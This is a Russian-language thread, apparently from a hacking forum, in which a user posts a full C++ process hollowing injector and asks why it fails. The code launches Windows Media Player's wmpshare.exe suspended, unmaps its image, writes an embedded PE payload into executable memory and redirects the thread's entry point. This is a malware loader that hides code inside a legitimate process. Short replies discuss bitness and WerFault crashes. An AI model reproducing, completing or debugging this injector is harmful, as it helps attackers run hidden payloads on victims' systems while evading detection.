• XSS.stack #1 – первый литературный журнал от юзеров форума

Проблема с Process Hollowing

Security8810

floppy-диск
Пользователь
Регистрация
12.10.2023
Сообщения
6
Реакции
0
Здравствуйте, я внес модификацию кода Process Hollowing, я пытаюсь внедрить массив байтов, но при запуске скомпилированного файла я вижу, что процесс запускается, а затем получаю сообщение об ошибке. Есть идеи, в чем может быть проблема?

Массив байтов составляет 32 бита, как и сам процесс, так что проблема не в этом.
Ошибки отладки не отображаются

Есть идеи?



C++:
#include <windows.h>
#include <winternl.h>
#include <stdio.h>

NTSTATUS NTAPI NtUnmapViewOfSection(HANDLE ProcessHandle, PVOID BaseAddress);
NTSTATUS NTAPI NtResumeProcess(HANDLE ProcessHandle);

void InjectCodeFromByteArray(PBYTE byteArray, SIZE_T byteArraySize, LPCWSTR szHostExe) {
    printf("Starting code injection...\n");

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)byteArray;
    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
        printf("Invalid DOS signature.\n");
        return;
    }

    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)(byteArray + dosHeader->e_lfanew);
    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
        printf("Invalid NT headers.\n");
        return;
    }

    PROCESS_INFORMATION pi;
    STARTUPINFOW si = { sizeof(STARTUPINFO) };
    printf("Creating process...\n");
    if (!CreateProcessW(szHostExe, NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi)) {
        printf("CreateProcessW failed with error %d.\n", GetLastError());
        return;
    }

    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL;
    printf("Getting thread context...\n");
    if (!GetThreadContext(pi.hThread, &context)) {
        printf("GetThreadContext failed with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    PVOID image_base;
    printf("Reading process memory...\n");
    if (!ReadProcessMemory(pi.hProcess, (const PVOID)(context.Ebx + 8), &image_base, sizeof(PVOID), NULL)) {
        printf("ReadProcessMemory failed with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    if ((DWORD)image_base == ntHeaders->OptionalHeader.ImageBase) {
        printf("Unmapping view of section...\n");
        NTSTATUS status = NtUnmapViewOfSection(pi.hProcess, image_base);
        if (status != 0) {
            printf("NtUnmapViewOfSection failed with status 0x%08X\n", status);
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            return;
        }
    }

    printf("Allocating memory in target process...\n");
    PVOID remoteImageBase = VirtualAllocEx(pi.hProcess, (LPVOID)(ntHeaders->OptionalHeader.ImageBase),
        ntHeaders->OptionalHeader.SizeOfImage, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    if (!remoteImageBase) {
        printf("VirtualAllocEx failed with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    printf("Writing headers into target process...\n");
    if (!WriteProcessMemory(pi.hProcess, remoteImageBase, byteArray, ntHeaders->OptionalHeader.SizeOfHeaders, NULL)) {
        printf("WriteProcessMemory failed for PE headers with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    PIMAGE_SECTION_HEADER sectionHeader = IMAGE_FIRST_SECTION(ntHeaders);
    for (int i = 0; i < ntHeaders->FileHeader.NumberOfSections; i++) {
        printf("Writing section %d into target process...\n", i);
        if (!WriteProcessMemory(pi.hProcess, (PBYTE)remoteImageBase + sectionHeader[i].VirtualAddress,
                byteArray + sectionHeader[i].PointerToRawData, sectionHeader[i].SizeOfRawData, NULL)) {
            printf("WriteProcessMemory failed for section %d with error %d.\n", i, GetLastError());
            CloseHandle(pi.hThread);
            CloseHandle(pi.hProcess);
            return;
        }
    }

    DWORD entryPoint = (DWORD)remoteImageBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
    context.Eax = entryPoint;
    printf("Setting thread context...\n");
    if (!SetThreadContext(pi.hThread, &context)) {
        printf("SetThreadContext failed with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    printf("Resuming thread...\n");
    if (!ResumeThread(pi.hThread)) {
        printf("ResumeThread failed with error %d.\n", GetLastError());
        CloseHandle(pi.hThread);
        CloseHandle(pi.hProcess);
        return;
    }

    printf("Injection successful.\n");
    CloseHandle(pi.hThread);
    CloseHandle(pi.hProcess);
}

int main() {
    unsigned char byteArray[16384] = {
       // byte array here
    };

    SIZE_T byteArraySize = sizeof(byteArray);
    LPCWSTR szHostExe = L"C:\\Program Files (x86)\\Windows Media Player\\wmpshare.exe";

    InjectCodeFromByteArray(byteArray, byteArraySize, szHostExe);

    return 0;
}


Посмотреть вложение 75773
 
Последнее редактирование:
А сам инжектор какую разрядность то имеет?
А сам инжектор какую разрядность то имеет?
почему-то у меня продолжают возникать проблемы, хотя показывает, что все в порядке "WerFault"
 

Вложения

  • 51.png
    51.png
    20.3 КБ · Просмотры: 27


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх